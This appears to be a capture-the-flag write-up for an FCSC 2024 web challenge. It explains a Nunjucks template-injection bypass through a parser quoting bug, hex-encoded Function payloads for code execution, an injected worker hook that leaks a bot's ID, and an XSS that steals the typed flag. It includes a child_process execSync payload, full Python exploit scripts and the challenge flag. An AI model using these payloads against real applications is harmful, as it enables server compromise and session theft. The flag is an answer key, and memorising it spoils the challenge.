This challenge was one of the most difficult in the Web category of FCSC 2024, and I was unable to solve it during the competition. Later, during a Laluka stream, the challenge creator, BitK, reviewed this challenge and provided solution tips, which motivated me to attempt solving it again.

The challenge is still available on Hackropole.

Presentation

The challenge is an encrypted chat application. The flag is sent to us by the Bot when he joins our room.

Chat

However, the messaging is a bit too well encrypted. The application performs an XOR of our message with a random string of the same length. The message is completely destroyed and cannot be recovered.

export default function useNoise() {
  return {
    encrypt(data: string) {
      const key = crypto.getRandomValues(new Uint8Array(data.length));
      let out = "";

      for (let i = 0; i < data.length; i++) {
        out += (data.charCodeAt(i) ^ key[i]).toString(16).padStart(2, "0");
      }
      return out;
    },
  };
}

A secure SSTI

Another interesting endpoint /set-template allows us to modify the Nunjucks template defining the appearance of the chat. By reading the source code, we understand that the goal of the challenge is to exploit an SSTI on Nunjucks while bypassing the added security.

SSTI
// worker.ts

import nunjucks from "nunjucks";
import createPipe from "./pipe";
import type { Rpc } from "./types";
import defaultTemplate from "../layouts/bubbles";

// I've heard that nunjucks is vulnerable to SSTI
// But I think this is enough to prevent it
const removeConstructor = (obj: any) =>
  Object.defineProperty(obj.__proto__, "constructor", { value: null });

removeConstructor(async function* () {});
removeConstructor(async function () {});
removeConstructor(function* () {});
removeConstructor(function () {});
// ----------------------------

nunjucks.configure({ autoescape: true, noCache: true });

const pipe = createPipe<Rpc>(self);
const messages: {
  author: string;
  content: string;
  time: Date;
}[] = [];
const userTemplates = new Map<string, string>();

pipe.on("addMessage", (userId, content) => {
  messages.push({
    author: userId,
    content,
    time: new Date(),
  });
});

pipe.on("render", (userId) => {
  const msgs = messages.map((msg) => ({...msg, author: msg.author === userId}))
  return nunjucks.renderString(userTemplates.get(userId) ?? defaultTemplate, {
    messages: msgs,
    userId,
    split: (s: string, size = 32) => {
      const result = [];
      for (let i = 0; i < s.length; i += size) {
        result.push(s.slice(i, i + size));
      }
      return result.join(" ");
    },
  });
});

pipe.on("updateTemplate", (userId, template) => {
  userTemplates.set(userId, template);
});

Usually, to achieve RCE with SSTI, we use the Function constructor, which, like the eval function, allows interpreting a string as code and executing it:

{{cycler.constructor("return global.process.mainModule.require('child_process').execSync('id')")()}}

However, here the Function constructor is disabled. We need to find another way.

const removeConstructor = (obj: any) =>
  Object.defineProperty(obj.__proto__, "constructor", { value: null });

removeConstructor(async function* () {});
removeConstructor(async function () {});
removeConstructor(function* () {});
removeConstructor(function () {});

Big fingers -> Typo -> RCE

BitK explains that he accidentally found a parsing bug in Nunjucks by making a typo. Indeed, the following template causes an error:

{{ set a" = 0 }}
Bug Nunjucks stack

The error expected variable end indicates that the syntax of the code executed by Nunjucks is incorrect due to the unescaped " character.

What happens?

When the user defines a new variable, Nunjucks adds it to the context:

// {{ a = 0 }}

ctx["a"] = 0

However, the " character in the variable name allows escaping and injecting arbitrary code into the parser’s context.

// {{ a"&&"b = 1}}
ctx["a"&&"b"] = 1
// Equivalent to:
ctx["b"] = 1

We can verify this with the template:

{% set a"&&"b = 1 %} a: {{ a }}  b: {{ b }}"

a:   b: 1

In this context, the Function constructor is still available, but due to the parser, we have several constraints on the characters of our payload, limited only to certain characters like:

& a-z A-Z 0-9 _ " ' ` \ /

It is impossible to use dots or parentheses in our payload. However, it is possible to call a function using backticks.

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals

f`string` === f(["string"])

Similarly, we can encode our payload in hexadecimal to use only the characters \x0-9a-f.

"console.log('Nalisco')" === "\x63\x6f\x6e\x73\x6f\x6c\x65\x2e\x6c\x6f\x67\x28\x27\x4e\x61\x6c\x69\x73\x63\x6f\x27\x29"
// true

Adding everything to our template to execute console.log('Nalisco'):

{% set a"&&Function`\x63\x6f\x6e\x73\x6f\x6c\x65\x2e\x6c\x6f\x67\x28\x27\x4e\x61\x6c\x69\x73\x63\x6f\x27\x29```&&"b = 1 %}
RCE

Great! We managed to execute arbitrary JS code on the server!

Retrieving the BotID

After several tests, the flag is only in plaintext in the Bot’s browser at the moment it types it into the chat field. Our RCE is restricted to the Worker context, and it is not possible to read the contents of files.

One possible solution would be to modify the Bot’s template to inject an XSS that allows retrieving the flag when the Bot types it into its browser, but for that, we need to retrieve the Bot’s ID, which acts as a connection identifier.

By exploiting the RCE, we can add a function that will be executed with each new request thanks to the onmessage attribute of the Worker:

https://developer.mozilla.org/fr/docs/Web/API/Web_Workers_API/Using_web_workers

onmessage = ((ev) => {
	if(ev.data.args[0] !== 'Nalisco'){
		Object.prototype.botId = ev.data.args[0];
	}
});

The user ID is the first argument of ev.data.args. If the request comes from the Bot, we add its ID to the prototype of Object to retrieve it later with the template :

{{ botId }}
import requests
from bs4 import *

URL = "http://127.0.0.1:8000"

COOKIE = {"userId": "Nalisco"}

def string_to_hex(input_string):
    return "".join("\\x" + hex(ord(c))[2:].zfill(2) for c in input_string)

def call_visit(room_id):
    requests.post(f"{URL}/api/visit", json={"roomId": room_id}, cookies=COOKIE)

rce_playload = f"""
onmessage = ((ev) => {{
	if(ev.data.args[0] !== 'Nalisco'){{
		Object.prototype.botId = ev.data.args[0];
	}}
}});"""

rce_template = f"""
{{% set a"&&Function`{string_to_hex(rce_playload)}```&&"b = 1 %}} UserId: {{{{ BotId }}}}
"""
# Generate a new Room ID
new_chat = requests.get(f"{URL}/chat", cookies=COOKIE)
room_id = BeautifulSoup(new_chat.content, "html.parser").find_all("script")[1].string.split('"')[17]

# Exploit the RCE vulnerability to create an new onmessage toggle
set_rce_template_req = requests.post(f"{URL}/api/room/{room_id}/set-template", json={"template": rce_template}, cookies=COOKIE)

# Call the Bot
call_visit(room_id)

# Retrieve the Bot ID
get_bot_id_req = requests.post(f"{URL}/api/room/{room_id}/set-template", json={"template": '{{ botId }}'}, cookies=COOKIE)
bot_ID = get_bot_id_req.text

print("Bot ID:", bot_ID)

Retrieving the Flag with a XSS

When we call the Bot, it will write the flag in the chat’s text field and click the Send button of the form.

    const page = await browser.newPage();

    await page.goto(`http://127.0.0.1:3000/chat/${roomId}`);
    await page.waitForSelector("#loaded", {
      timeout: 3000,
    });

    for (const message of adminMessages) {
      await page.focus("#form-input");
      await page.keyboard.type(message);
      await sleep(200);
      await page.click("#form-btn");
      await sleep(2000);
    }
  } finally {
    await browser?.close();
  }

Since we have retrieved its ID, which is equivalent to a connection ID, we can add a script to the Bot’s page so that the Bot’s message is sent in hexadecimal (mandatory to pass the RegEx control) instead of being encrypted.

<img src=x onerror='
document.getElementById("form-btn").addEventListener("click", function() {
        fetch("/api/room/2037e1b2752ccd8259385b56f750c71a", {
            method: "POST",
            headers: {"Content-Type": "application/json"},
            body: JSON.stringify({
                "message": [...(document.getElementById("form-input").value)].map(char => char.charCodeAt(0).toString(16).padStart(2, "0")).join("")
                }
            )}
        );
    })'>

All that remains is to chain our entire attack to retrieve the flag in the following order:

  • Create a new chat session.
  • Inject a new action to the Worker upon receiving a new message using RCE, allowing us to leak the Bot’s ID.
  • Use this ID to insert an XSS into the Bot’s template.
  • The XSS allows us to retrieve the flag when the Bot types it into the chat field.
import requests
from bs4 import *
import threading
import time

URL = "http://127.0.0.1:8000"

USER_COOKIE = {"userId": "Nalisco"}

def string_to_hex(input_string):
    return "".join("\\x" + hex(ord(c))[2:].zfill(2) for c in input_string)

def call_visit(room_id):
    requests.post(f"{URL}/api/visit", json={"roomId": room_id}, cookies=USER_COOKIE)

rce_playload = f"""
onmessage = ((ev) => {{
	if(ev.data.args[0] !== 'Nalisco'){{
		Object.prototype.botId = ev.data.args[0];
	}}
}});"""

rce_template = f"""
{{% set a"&&Function`{string_to_hex(rce_playload)}```&&"b = 1 %}} UserId: {{{{ BotId }}}}
"""

# Generate a new Room ID
new_chat = requests.get(f"{URL}/chat", cookies=USER_COOKIE)
room_id = BeautifulSoup(new_chat.content, "html.parser").find_all("script")[1].string.split('"')[17]
# room_id = "9e4bec31103399246b2026d7e182b57c"
print("Room ID:", room_id)

# Exploit the RCE vulnerability to create an new onmessage toggle
set_rce_template_req = requests.post(f"{URL}/api/room/{room_id}/set-template", json={"template": rce_template}, cookies=USER_COOKIE)

# Call the Bot in another Thread
print("Calling the bot")
thread1 = threading.Thread(target=call_visit, args=[str(room_id)])
thread1.start()

# Retrieve the Bot ID
print("Waiting the Bot ID...")
for i in range(10):
    get_bot_id_req = requests.post(f"{URL}/api/room/{room_id}/set-template", json={"template": '{{ botId }}'}, cookies=USER_COOKIE)
    bot_ID = get_bot_id_req.text
    if bot_ID:
        print("Bot ID:", bot_ID)
        break
    time.sleep(1)

bot_cookie = {"userId": bot_ID}

xss_template = f"""
<img src=x onerror='
document.getElementById("form-btn").addEventListener("click", function() {{
        fetch("/api/room/{room_id}", {{
            method: "POST",
            headers: {{"Content-Type": "application/json"}},
            body: JSON.stringify({{
                "message": [...(document.getElementById("form-input").value)].map(char => char.charCodeAt(0).toString(16).padStart(2, "0")).join("")
                }}
            )}}
        );
    }})'>
"""

# Inject XSS in Bot's template
set_rce_template_req = requests.post(f"{URL}/api/room/{room_id}/set-template", json={"template": xss_template}, cookies=bot_cookie)

print("Waiting for the bot to write the flag...")
time.sleep(5)

# Retrieve the flag
simple_template = """
{% for message in messages %}
{{ message.author }}:{{ message.content }}
{% endfor %}
"""

requests.post(f"{URL}/api/room/{room_id}/set-template", json={"template": simple_template}, cookies=USER_COOKIE)

get_chat_req = requests.get(f"{URL}/api/room/{room_id}", cookies=USER_COOKIE)
messages = [m.split(":")[1] for m in get_chat_req.text.split() if "false" in m]

for msg in messages:
    try:
        print(bytes.fromhex(msg).decode())
    except:
        continue
Flag
FCSC{4740b799cc6411b5d75d41e6ec1db081ffc0de4ce21f1d5f089304d120f37466}